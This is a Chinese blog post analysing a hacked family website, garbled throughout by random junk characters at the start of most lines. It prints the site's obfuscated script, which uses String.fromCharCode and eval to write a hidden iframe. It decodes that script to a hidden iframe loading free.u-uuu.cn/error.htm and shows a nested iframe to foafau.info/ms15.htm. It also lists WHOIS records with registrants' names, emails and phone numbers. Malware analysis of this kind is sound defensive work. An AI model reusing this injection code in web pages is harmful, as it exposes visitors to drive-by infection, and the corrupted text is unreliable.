首发在我的博客里面，
]QY-L O( >mvE[iXRG? http://www.areway.cn/?p=175 "* FjEA6= R(_WTs9x4 p; , V 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
< <0[PJ f$}g'r zl <script>t=’60,105,102,114,97,109,101,
T,/< 'cl" 32,115,114,99,61,104,116,116,112,58,47,47,
p;o "i_! 102,114,101,101,46,117,45,117,117,117,46,99,
;mD!8<~z. 110,47,101,114,114,111,114,46,104,116,109,
2\64~a^ 32,119,105,100,116,104,61,49,48,48,32,104,
kda*rl~c 101,105,103,104,116,61,48,62,60,47,105,102,
&09~ D8f' 114,97,109,101,62′;
c"CR_ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
*b{Hj'H aH sT iFh"8d> <script>t=’60,105,102,114,97,109,101,32,115,
rKOa9M 114,99,61,104,116,116,112,58,47,47,102,114,
%>zG;4 101,101,46,117,45,117,117,117,46,99,110,47,
}YC =q 101,114,114,111,114,46,104,116,109,32,119,
AGwdM-$iT 105,100,116,104,61,49,48,48,32,104,101,105,
I%[Tosud< 103,104,116,61,48,62,60,47,105,102,114,97,
_E 0yzkS 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
x) %"i) document.write(t);</script>
ZV5IZ&V! .;bU["fn) <html xmlns=”
sy(bL _% http://www.w3.org/1999/xhtml 8&+u+@H
“>
Y nTx)uW <head>
&C9)%5 O) <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
0#Q]>V@rO4 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
bFA
lC <title>首页 - 爱生活家庭网
+WR'\15u 5Em.sz;:8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
-~~R?,H'Z_ 转换字符串后的大概内容是（谁点击后果自付）：
;u' ;$0 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Xk/:a}-l ^{8CShUCv 查询玉米u-uuu.cn的详细信息：
Bbb":c6w0 Domain Name: u-uuu.cn
r|bGn#^ ROID: 20070901s10001s64972306-cn
\\oa[nvL~ Domain Status: ok
IY}GU 2# Registrant Organization: 王雷
(Y PG4:[ Registrant Name: 王雷
vON7 ~KA Administrative Email:
czlovexs@126.com b?M. 0{"H Sponsoring Registrar: 北京万网志成科技有限公司
fgo3Gy*# Name Server:ns.yovole.com
Hp(41E b, Name Server:ns1.yovole.com
VqOTrB1w/ Registration Date: 2007-09-01 17:54
m60hTJ?N) Expiration Date: 2008-09-01 17:54
8_rd1:t5 最后PING了一下地址 都没有什么….
;'!h(H ST0|2)Lh" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
_39VL <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
{@"
F/G+ <script language=”javascript” src=”
3Dh{#"88 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 3 )^ 2X >
.b2%n;_>. 这个玉米应该有可能是木马作者的：
$qoal foafau.info的详细信息：
\w$e|[~ Access to INFO WHOIS information is provided to assist persons in
yaI jXv determining the contents of a domain name registration record in the
WL\*g] K4 Afilias registry database. The data in this record is provided by
nu16L$ ] Afilias Limited for informational purposes only, and Afilias does not
`;Fs guarantee its accuracy. This service is intended only for query-based
ZGd7e.u= access. You agree that you will use this data only for lawful purposes
^h<ElK and that, under no circumstances will you use this data to: (a) allow,
Zc9S[ivq enable, or otherwise support the transmission by e-mail, telephone, or
c -?0~A facsimile of mass unsolicited, commercial advertising or solicitations
_ UF'Cf+Y to entities other than the data recipient’s own existing customers; or
(b.Mtd (b) enable high volume, automated, electronic processes that send
.MxMBrM queries or data to the systems of Registry Operator, a Registrar, or
( Y?}'? Afilias except as reasonably necessary to register domain names or
) d=&X|S> modify existing registrations. All rights reserved. Afilias reserves
Q# 4OgNt the right to modify these terms at any time. By submitting this query,
t..@69 you agree to abide by this policy.
Vgj[m4l Domain ID:D22418703-LRMS
B@vup {Kg Domain Name:FOAFAU.INFO
Tf Nm0=| Created On:20-Nov-2007 16:05:42 UTC
aSSw>*?Q Last Updated On:20-Nov-2007 16:05:44 UTC
lI[O!Vu Kc Expiration Date:20-Nov-2008 16:05:42 UTC
#W L>ha
v Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Y;sN UX Status:CLIENT DELETE PROHIBITED
=vKSvQP@) Status:CLIENT RENEW PROHIBITED
1~ *JenV- Status:CLIENT TRANSFER PROHIBITED
4}^\&K&t{ Status:CLIENT UPDATE PROHIBITED
73E[O5?b Status:TRANSFER PROHIBITED
SYv5{bff = Registrant ID:GODA-040110615
m8v=pab e Registrant Name:liu hong
$0;D k, Registrant Organization:
~u O9>(?D Registrant Street1:beijing
?uE@C3 e Registrant Street2:
be&,V_F Registrant Street3:
Snas:#B! Registrant City:beijing
'n!Sco)C Registrant State/Province:
@p7*JLO Registrant Postal Code:100000
|w`Q$ c Registrant Country:CN
F:2V; Registrant Phone:+86.860108888777
</ h}2x Registrant Phone Ext.:
-;[,`g(f Registrant FAX:
^/Frg<>'p Registrant FAX Ext.:
+dK;\wT Registrant Email:bbbshiji@163.com
N1z:9=(I Admin ID:GODA-240110615
d-$/C| J Admin Name:liu hong
E`UEl$ ($ Admin Organization:
_i1x\Z~
N Admin Street1:beijing
O<qo%fP Admin Street2:
-$kA WP8P4 Admin Street3:
oOy_2fwZPp Admin City:beijing
:+}Eo9 Admin State/Province:
4VfZw\^ Admin Postal Code:100000
Qw/H7fvh& Admin Country:CN
q{oppali Admin Phone:+86.860108888777
gLPgh%B4 Admin Phone Ext.:
By}>h6`[ Admin FAX:
[5Pin>]z Admin FAX Ext.:
6
VuMx7W1 Admin Email:bbbshiji@163.com
%$SO 9PY Billing ID:GODA-340110615
'"Y(2grP Billing Name:liu hong
+`~6Weay Billing Organization:
ir3EA'_>N Billing Street1:beijing
-85W/% Billing Street2:
:/'oh]T| Billing Street3:
qFY M2 Billing City:beijing
InR/g@n+D1 Billing State/Province:
rnTjw
"% Billing Postal Code:100000
WkR=(dss8 Billing Country:CN
<;nhb Billing Phone:+86.860108888777
q <Zza Billing Phone Ext.:
/%w3(e Billing FAX:
O4fl$egQU Billing FAX Ext.:
K';x2ffj Billing Email:bbbshiji@163.com
'Q F@@ 48 Tech ID:GODA-140110615
mR6hnKa_53 Tech Name:liu hong
Z`Sbq{Kx Tech Organization:
o+^5W Tech Street1:beijing
B`<K]ut Tech Street2:
1=Nh<FuQ Tech Street3:
|KLCO'x Tech City:beijing
8xN+LL'T{ Tech State/Province:
_/`H<@B_U Tech Postal Code:100000
UCVdR<<Z Tech Country:CN
| )M>;q Tech Phone:+86.860108888777
7S]<?>* Tech Phone Ext.:
#cy;((z uB Tech FAX:
7@uhw">mX Tech FAX Ext.:
*'jI >^o Tech Email:bbbshiji@163.com
4RoE>m1[G Name Server:NS27.DOMAINCONTROL.COM
K#!c<Li# Name Server:NS28.DOMAINCONTROL.COM
XlDN)b5v{ Name Server:
&Y3 r'" Name Server:
@m+2e C77 Name Server:
N>Q~WXvV# Name Server:
^ ^T e Name Server:
ft><Ql3 Name Server:
]<Kkq ! Name Server:
ur K~]6 8 Name Server:
Q .Xs%{B Name Server:
{ k8R6l1 Name Server:
]L{diD 2G Name Server:
oo2CF!Xy h 1REL^!c 接着下载每个文件里面的代码：
eNc>^:&y* 一步一步看..
#Q'j^y 7=z 
[Lal_}m? 
d.Ep#4 
>7,?X_:A-1 
}^tW's8 
8]j*z n?, 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
